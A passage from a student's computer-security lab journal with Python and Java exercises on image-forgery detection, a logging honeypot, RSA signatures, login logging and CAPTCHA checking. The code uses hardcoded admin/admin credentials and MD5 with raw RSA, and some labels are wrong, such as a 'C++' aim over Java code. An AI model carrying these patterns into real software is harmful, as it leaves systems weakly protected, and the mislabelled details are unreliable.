pal = [(palcolors[i],palcolors[i+1]) for i in range(len(palcolors)-1)]

image.putdata([colortopalette(c,pal) for c in list(image.getdata())])

def getparts(image, block_len):

"""

Decompose given image into small blocks of data.

"""

img = image.convert(’L’) if image.mode != ’L’ else image

w, h = img.size

parts = []

# Bluring image for abandoning image details and noise.

Page 45: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

global opt

for n in range(int(opt.imblev)):

img = img.filter(ImageFilter.SMOOTH_MORE)

# Converting image to custom palette

pal = [x for x in range(256) if x%int(opt.impalred) == 0]

if pal[-1] != 255:

pal.append(255)

imagetopalette(img, pal)

pix = img.load()

for x in range(w-block_len):

for y in range(h-block_len):

data = list(blockpoints(pix, (x,y), block_len)) + [(x,y)]

parts.append(data)

parts = sorted(parts)

return parts

def similarparts(imagparts):

"""

Return only these blocks which are similar by content.

"""

dupl = []

global opt

l = len(imagparts[0])-1

for i in range(len(imagparts)-1):

difs = sum(abs(x-y) for x,y in zip(imagparts[i][:l],imagparts[i+1][:l]))

mean = float(sum(imagparts[i][:l])) / l

dev = float(sum(abs(mean-val) for val in imagparts[i][:l])) / l

if dev/mean >= 0.05:

if difs <= int(opt.blsim):

if imagparts[i] not in dupl:

dupl.append(imagparts[i])

if imagparts[i+1] not in dupl:

dupl.append(imagparts[i+1])

return dupl

def clusterparts(parts, block_len):

"""

Further filtering out non essential blocks.

This is done by clustering blocks at first and after that

filtering out small clusters and clusters which doesn‘t have

twin cluster in image.

"""

parts = sorted(parts, key=op.itemgetter(-1))

global opt

clusters = [[parts[0][-1]]]

# assign all parts to clusters

Page 46: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

for i in range(1,len(parts)):

x, y = parts[i][-1]

# detect box already in cluster

fc = []

for k,cl in enumerate(clusters):

for xc,yc in cl:

ar = intersectarea((xc,yc),(x,y),block_len)

intrat = float(ar)/(block_len*block_len)

if intrat > float(opt.blint):

if not fc: clusters[k].append((x,y))

fc.append(k)

break

# if this is new cluster

if not fc:

clusters.append([(x,y)])

else:

# re-clustering boxes if in several clusters at once

while len(fc) > 1:

clusters[fc[0]] += clusters[fc[-1]]

del clusters[fc[-1]]

del fc[-1]

item = op.itemgetter

# filter out small clusters

clusters = [clust for clust in clusters if Dist((min(clust,key=item(0))[0],min(clust,key=item(1))[1]), (max(clust,key=item(0))[0],max(clust,key=item(1))[1]))/(block_len*1.4) >= float(opt.rgsize)]

# filter out clusters, which doesn‘t have identical twin cluster

clusters = [clust for x,clust in enumerate(clusters) if hassimilarcluster(x,clusters)]

return clusters

def marksimilar(image, clust, size):

"""

Draw discovered similar image regions.

"""

global opt

blocks = []

if clust:

draw = ImageDraw.Draw(image)

mask = Image.new(’RGB’, (size,size), ’cyan’)

for cl in clust:

for x,y in cl:

im = image.crop((x,y,x+size,y+size))

im = Image.blend(im,mask,0.5)

blocks.append((x,y,im))

for bl in blocks:

x,y,im = bl

image.paste(im,(x,y,x+size,y+size))

Page 47: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

if int(opt.imauto):

for cl in clust:

cx1 = min([cx for cx,cy in cl])

cy1 = min([cy for cx,cy in cl])

cx2 = max([cx for cx,cy in cl]) + block_len

cy2 = max([cy for cx,cy in cl]) + block_len

draw.rectangle([cx1,cy1,cx2,cy2],outline="magenta")

return image

if __name__ == ’__main__’:

cmd = OptionParser("usage: %prog image_file [options]")

cmd.add_option(’’, ’--imauto’, help=’Automatically search identical regions. (default: %default)’, default=1)

cmd.add_option(’’, ’--imblev’,help=’Blur level for degrading image details. (default: %default)’, default=8)

cmd.add_option(’’, ’--impalred’,help=’Image palette reduction factor. (default: %default)’, default=15)

cmd.add_option(’’, ’--rgsim’, help=’Region similarity threshold. (default: %default)’, default=5)

cmd.add_option(’’, ’--rgsize’,help=’Region size threshold. (default: %default)’, default=1.5)

cmd.add_option(’’, ’--blsim’, help=’Block similarity threshold. (default: %default)’,default=200)

cmd.add_option(’’, ’--blcoldev’, help=’Block color deviation threshold. (default: %default)’, default=0.2)

cmd.add_option(’’, ’--blint’, help=’Block intersection threshold. (default: %default)’, default=0.2)

opt, args = cmd.parse_args()

if not args:

cmd.print_help()

sys.exit()

print ’Analyzing image, please wait... (can take some minutes)’

block_len = 15

im = Image.open(args[0])

lparts = getparts(im, block_len)

dparts = similarparts(lparts)

cparts = clusterparts(dparts, block_len) if int(opt.imauto) else [[elem[-1] for elem in dparts]]

im = marksimilar(im, cparts, block_len)

out = args[0].split(’.’)[0] + ’_analyzed.jpg’

im.save(out)

print ’Done. Found’, len(cparts) if int(opt.imauto) else 0, ’identical regions’

print ’Output is saved in file -’, out

10.3 Output :

[cg19@localhost ~]$ python detect_copymove.py dogs_doc.jpg

Analyzing image, please wait... (can take some minutes)

Done. Found 4 identical regions

Output is saved in file - dogs_doc_analyzed.jpg

[cg19@localhost ~]$

10.4 Conclusion :

Hence we study the image tampering and event correlation.

Page 48: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

11 Aim :

Design and implementation honeypot.

11.1 Theory :

• A honeypot is a tool to collect evidence or information, and to gain asmuch knowledge as possible especially on the attack patterns, hackerspurpose and motivations and the commonly used programs launched bythem.

• It can also be used to catch hackers while they are in the network andto redirect hackers from the actual produc- tion systems to the honeypotsystem.

• The best personnel to manage the honeypot is one with extensive knowl-edge in three critical areas Security, Systems, and Networks.

• A honeypot is an an information system resource whose value lies in unau-thorized or illicit use of that resources

• A more practical, but more limiting, definition is A server that is config-ured to detect an intruder by mirroring a real production system.

• It appears as an ordinary server doing work, but all the data and trans-actions are phony.

• Located either in or outside the firewall, the honeypot is used to learnabout an intruder’s techniques as well as determine vulnerabilities in thereal system.

• In practice, honeypots are computers which masquerade as unprotected.

• The honeypot records all actions and interactions with users. Since hon-eypots don’t provide any legitimate services, all activity is unauthorized(and possibly malicious).

11.2 Types of Honeypots:

• There are two broad categories of honeypots available today i. High-interaction honeypot. ii. Low-interaction honeypot.

• High-interaction honeypots let the hacker interact with the system as theywould any regular operating system, with the goal of capturing the max-imum amount of information on the attacker’s techniques.

• Any command or application an end-user would expect to be installed isavailable and generally, there is little to no restriction placed on what thehacker can do once he/she comprises the system.

• On the contrary, low-interaction honeypots present the hacker emulatedservices with a limited subset of the functionality they would expect froma server, with the intent of detecting sources of unauthorized activity.

Page 49: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

11.3 Program :

#!/usr/bin/env python

#Name: pyp0t.py

#Version: 0.2

#Author:

import time

import socket

def getstuff():

banner = raw_input(’\nEnter banner information: ’)

host = raw_input(’Enter IP Address: ’)

while True:

try:

port = int(raw_input(’Enter Port Number: ’))

except TypeError:

print ’\n[-] Error: invalid port number\n’

continue

else:

if (port < 1) or (port > 65535):

print ’\n[-] Error: invalid port number\n’

continue

else:

return (banner, host, port)

def writelog(client, data=’’):

separator = ’=’*40

fopen = open(’potlog.txt’, ’a’)

fopen.write(’Time: %s\nIP Address: %s\nPort: %d\n\n%s%s\n\n’%(time.ctime(), client[0], client[1], data, separator))

fopen.close()

def main(host, port, banner):

print ’\n[*] Listening ...\n’

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind((host, port))

s.listen(100)

while True:

(insock, address) = s.accept()

print ’[*] Connection from: %s:%d’ % (address[0], address[1])

try:

insock.send(’%s\n’%(banner))

data = insock.recv(1024)

insock.close()

except socket.error, e:

writelog(address)

else:

writelog(address, data)

if __name__==’__main__’:

try:

stuff = getstuff()

main(stuff[1], stuff[2], stuff[0])

except KeyboardInterrupt:

Page 50: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

print ’\n\n[+] Exiting...’

exit(0)

except BaseException, e:

print ’\n[-] Error: %s’ % (e)

exit(1)

11.4 Output :

[root@localhost ~]# python pypot.py

Enter banner information: pqr

Enter IP Address: 1.2.4.8

Enter Port Number: 3

[*] Listening ...

[-] Error: [Errno 99] Cannot assign requested address

[root@localhost ~]# python pypot.py

Enter banner information: abc

Enter IP Address: 2

Enter Port Number: 5

[*] Listening ...

[+] Exiting...

[root@localhost ~]#

11.5 Conclusion :

hence we have study the implementation of honeypot.

Page 51: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

12 Aim :

write a program for identifying the tampering of digital signature using python

12.1 Theory :

12.1.1 Digital Signature:

• A digital signature is a mathematical scheme for demonstrating the au-thenticity of a digital message or document.

• A valid digital signature gives a recipient reason to believe that the mes-sage was created by a known sender, such that the sender cannot denyhaving sent the message (authentication and non-repudiation) and thatthe message was not altered in transit (integrity).

• Digital signatures are commonly used for software distribution, financialtransactions, and in other cases where it is important to detect forgery ortampering.

• Digital signatures are often used to implement electronic signatures, abroader term that refers to any electronic data that carries the intent ofa signature, but not all electronic signatures use digital signatures.

• In some countries, including the United States, India, Brazil, and membersof the European Union, electronic signatures have legal significance.

12.1.2 How they work?

• To create RSA signature keys, generate an RSA key pair containing amodulus N that is the product of two large primes, along with integers eand d such that e d a¡ 1 (mod I(N)), where I is the Euler phi-function.

• As noted earlier, this basic scheme is not very secure. To prevent attacks,one can first apply a cryptographic hash function to the message m andthen apply the RSA algorithm described above to the result.

• This approach can be proven secure in the so-called random oracle model.

• Because of this correspondence, digital signatures are often described asbased on public-key cryptosystems, where signing is equivalent to decryp-tion and verification is equivalent to encryption, but this is not the onlyway digital signatures are computed.

12.1.3 Applications of digital signatures:

– As organizations move away from paper documents with ink signa-tures or authenticity stamps, digital signatures can provide addedassurances of the evidence to provenance, identity, and status of anelectronic document as well as acknowledging informed consent andapproval by a signatory.

Page 52: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

– The United States Government Printing Office (GPO) publishes elec-tronic versions of the budget, public and private laws, and congres-sional bills with digital signatures. Universities including Penn State,University of Chicago, and Stanford are publishing electronic studenttranscripts with digital signatures.

1. Authentication

2. Integrity

3. Non-repudiation

12.2 Program :

#Public/Private key pair

from Crypto.Hash import MD5

from Crypto.PublicKey import RSA

from Crypto import Random

#Private key of A

random_generator=Random.new().read

prv_keyA=RSA.generate(2048,random_generator)

prvkeyA=str(prv_keyA)

fd = open("/root/Desktop/prvkeyA.pem", ’w’)

fd.write(prvkeyA)

fd.close()

#Public key of A

pub_keyA=prv_keyA.publickey()

pubkeyA=str(pub_keyA)

fd = open("/root/Desktop/pubkeyA.pem", ’w’)

fd.write(pubkeyA)

fd.close()

#Now A will send this Public key to B through some secure network

#Encryption done by B using A’s Public key

enc_data=pub_keyA.encrypt(’Hello A, This encryption is done by B’,32)

print "Encrypted data :",enc_data

encdata=str(enc_data)

fd = open("/root/Desktop/sent_message.txt", ’w’)

fd.write(encdata)

fd.close()

#B will send encryted text to A over public network

#Decryption on A’s End

Page 53: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

dec_data=prv_keyA.decrypt(enc_data)

print "Decrypted data :",dec_data

decdata=str(dec_data)

fd = open("/root/Desktop/recieved_message.txt", ’w’)

fd.write(decdata)

fd.close()

# Signature

text="It’s B"

hash=MD5.new(text).digest()

signature=prv_keyA.sign(hash,’’)

signa=str(signature)

fd = open("/root/Desktop/signature.txt", ’w’)

fd.write(signa)

fd.close()

#Verify

# To verify A will ask B for it’s signature and check on its own end

text ="It’s B"

hash=MD5.new(text).digest()

print "KEY MATCH :",pub_keyA.verify(hash, signature)

result=pub_keyA.verify(hash, signature)

if(result==True):

print "Signature verified"

elif(result==False):

print "Signature Tampered"

12.3 Output :

[root@localhost ~]# python final.py

Encrypted data : ("B\x0f\xc2\xf2;\xb3\xa5j\xf7\xda\xe1‘\xa5d\xfeK\xd5\n\x90\x9b\xff\x9b\x82\x15Q\xad‘\xe3]R\xc4\xaa\xebW\x0f\x16\x85Z\x17W\x86w\xb1\x0f<~\xae\xdf\xab\xd6\xf1\xde\xf6j\xaf{\xe9M#\xbcc\x18*\xcc‘\xa4y\xe1Kl\xc7f.i\xfbk_\xaeO\xaf\xf5\xa2\xee\xa3\xb1^l$\x0e)\xb7\xd8#\xc3\xba\x83P’\x8a\x0ch\x99>\xeeA\x8dW\x8b\xe7lmd\x14\x86C\xe3\x9232\x12\xd1n\xa0 $\xb1J_\xcep\xabKt\xd1\x8c:Dl\x9e\x8e\x99D\xc5S:\xda\x04*\x04\x9d\x0fr\xbc‘]\xfd\x9d\xb9ux<\xa1\xff\xdeQ\xa2\x8bNt\x175\x82\xa1\xa8\xb3\x14d\xf5\xed4\x0b\xd7\xdf\xce\x98\xf3{\x8eT\rH\x12\xddA\x12\xfdJ\xeb\xb4\xdcX*#\x17%\x91\xe86kS\xe0ld \x80\xcaV.\xfb\x9e\x81\x06\xdf3\x8b\x11I\xa5\x9b)L2e\xc60\xe4\x03\xcej\xf3\xfe\x13\xfa\x9d\n\xc7O>\xadd:\x17\xcdE\xbf\xd7",)

Decrypted data : Hello A, This encryption is done by B

KEY MATCH : True

Signature verified

[root@localhost ~]#

12.4 Conclusion :

Hence we study identifying the tampering of digital signature.

Page 54: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

13 Aim :

Write c++ program for log capturing and event correlation.

13.1 Theory :

13.1.1 Log Capturing :

– As a security admin, you know that just about every device on yournetwork spits out some kind of a log.

– And you also know (or you should know) that keeping track of thoselogs is an important piece of the puzzle to knowing your securityposture.

– But you have to know the main purpose behind capturing logs beforeyou can make a good decision on what method you will use to capturethe logs.

– So what is your reasoning behind capturing logs? Are you mainlytrying to see what is going on with your network in order to spotpotential security issues? If that is the case, then you need to inves-tigate which technologies best do correlation and will help you seethings on your network that you would have trouble seeing yourself.

– These systems are typically complicated and take a lot of planningeffort in order to ensure good results. You need to have an intimateknowledge of your network to know avenues of attacks and vital sys-tems so you can set up rules and alerts.

– They also require maintenance when changes are made on your net-work.

– However, if done right, these tools can give you a very good lookinto your network’s security, and they can help find problems muchquicker than a human could.

– However, if your priority is not alerting and complicated correlation,then perhaps you simply want to capture the logs for forensic pur-poses and some simpler alerting.

– The reason you need disk space is because if you are focusing onforensics, you will probably need to keep logs for a while.

13.1.2 Event Correlation :

– Event correlation is a technique for making sense of a large numberof events and pinpointing the few events that are really important inthat mass of information.

– The goal of integrated management is to integrate the managementof networks (data, telephone and multimedia), systems (hosts andapplications) and IT services in a coherent manner.

– Event correlation usually takes place inside one or several manage-ment platforms (also known as Network Management Stations orNetwork Management Systems).

Page 55: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

– It is implemented by a piece of software known as the event correlator.

– The event correlator plays a key role in the integration of manage-ment, for only there do network, system and service events cometogether. For instance, this is where the failure of a service can beascribed to a specific failure in the underlying IT infrastructure.

– Most event correlators can receive events from trouble ticket systems.However, only some of them are able to notify trouble ticket systemswhen a problem is solved, which partly explains the difficulty forService Desks to keep updated with the latest news.

– In theory, the integration of management in organizations requiresthe communication between the event correlator and the troubleticket system to work both ways.

– The severity of the event is an indication given by the event source tothe event destination of the priority that this event should be givenwhile being processed.

13.2 Program :

import java.io.*;

import java.text.SimpleDateFormat;

import java.util.Date;

import java.util.Scanner;

//import java.util.*;

public class test

{

public static void main(String[] args) throws IOException

{

String userName;

String passWord;

FileWriter fw=null;

Date dNow = new Date( );

SimpleDateFormat ft = new SimpleDateFormat ("E yyyy.MM.dd ’at’ hh:mm:ss a zzz");

Scanner S=new Scanner(System.in);

fw=new FileWriter("log.text",true);

System.out.println("Enter UserName:");

userName=S.nextLine();

System.out.println("Enter PassWord");

passWord=S.nextLine();

if(userName.equals("admin") && passWord.equals("admin"))

{

System.out.println("Successfully login");

fw.write("\nlogin with username "+ userName +" on "+ ft.format(dNow));

fw.append("\n");

}

else

{

System.out.println("Unsuccessfully login");

fw.write("\nUnsuccessful login with username "+userName +" on "+ ft.format(dNow));

Page 56: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

fw.append("\n");

}

fw.close();

}

}

13.3 Output :

[root@localhost ~]# javac test.java

[root@localhost ~]# java test

Enter UserName:

admin

Enter PassWord

admin

Successfully login

[root@localhost ~]# java test

Enter UserName:

root

Enter PassWord

root123

Unsuccessfully login

[root@localhost ~]#

13.4 Conclusion :

We study the for log capturing and event correlation.

Page 57: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

14 Aim :

Implement a program to generate and verifying captcha image.

14.1 Theory :

14.1.1 CAPTCHA:

– A CAPTCHA (an acronym for Completely Automated Public Turingtest to tell Computers and Humans Apart) CAPTCHA is not a worditself; items an abbreviation which stands for Completely AutomatedPublic Turing-test to tell Computers and Humans Apart.

– This full form well defines the purpose of CAPTCHA.

– Actually CAPTCHA is used as a simple puzzle hurdle, which restrictsvarious automated programs to sign-up E-mail accounts, crackingpasswords, spam sending, privacy violation etc.

– This CAPTCHA actually challenges a particular automated pro-gram, which is trying to access some private zone.

– So, CAPTCHA helps in preventing access of personal mail accountsby some un-authorized automated spamming programs.

– This CAPTCHA actually challenges a particular automated pro-gram, which is trying to access some private zone.

– So, CAPTCHA helps in preventing ac- cess of personal mail accountsby some un-authorized automated spamming programs.

– Types of captcha:

1) WebService(GooglereCAPTCHA)

2) Locally Run(SecurimagePHPCAPTCHA)

3)CSS(Honeypot=Invisible)CAPTCHA

4) V ideoCAPTCHA(NuCAPTCHA) =)

14.1.2 Features:

(a) Administrator can specify where the captcha should be displayed i.e,com- ments, login, registration or lost password form.

(b) Administrator selects the letters type from the options available -Capital letters, Small letters or Captial Small letters.

(c) Administrator selects the captcha type from the options available - Al-phanumeric, Alphabets or numbers.

(d) Translation enabled.

Applications of CAPTCHAs CAPTCHA:

(a) Preventing Comment Spam in Blogs.

(b) Protecting Website Registration.

(c) Protecting Email Addresses From Scrapers.

(d) Online Polls.

Page 58: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

(e) Preventing Dictionary Attacks.

(f) Search Engine Bots.

(g) Worms and Spam.

14.2 Program :

import java.util.*;

import java.io.*;

public class Captcha2

{

public String generateCaptcha()

{

Random random = new Random();

int length = 5;

StringBuffer captchaStringBuffer = new StringBuffer();

for (int i = 0; i < length; i++)

{

int captchaNumber = Math.abs(random.nextInt()) % 60;

int charNumber = 0;

if (captchaNumber < 26)

{

charNumber = 65 + captchaNumber;

}

else if (captchaNumber < 52)

{

charNumber = 97 + (captchaNumber - 26);

}

else

{

charNumber = 48 + (captchaNumber - 52);

}

captchaStringBuffer.append((char)charNumber);

}

return captchaStringBuffer.toString();

}

public static void main(String[] args)throws IOException

{

Captcha2 captcha = new Captcha2();

String str = captcha.generateCaptcha();

System.out.println("Randomly Selected Captcha string is : "+str);

DataInputStream in=new DataInputStream(System.in);

String name;

System.out.println("Enter Captcha String name : ");

name=in.readLine();

if(str.equals(name))

Page 59: PROGRAMMING LABORATORY · CERTIFICATE This is to certify that Ms.Gosavi Swati Prabhakar Roll No. 47 has completed the termwork in Programming Laboratory-II T.E. (Computer Engineering)

{

System.out.println("Both strings are same....");

}

else

{

System.out.println("Both strings are not same....");

}

}

}

14.3 Output :

[cg23@localhost ~]$ javac Captcha2.java

Note: Captcha2.java uses or overrides a deprecated API.

Note: Recompile with -Xlint:deprecation for details.

[cg23@localhost ~]$ java Captcha2

Randomly Selected Captcha string is : ZUxEj

Enter Captcha String name :

Zuvzg

Both strings are not same....

[cg23@localhost ~]$ java Captcha2

Randomly Selected Captcha string is : zcCZ0

Enter Captcha String name :

zcCZ0

Both strings are same....

[cg23@localhost ~]$

14.4 Conclusion :

Hence we have study to generate and verify captcha image.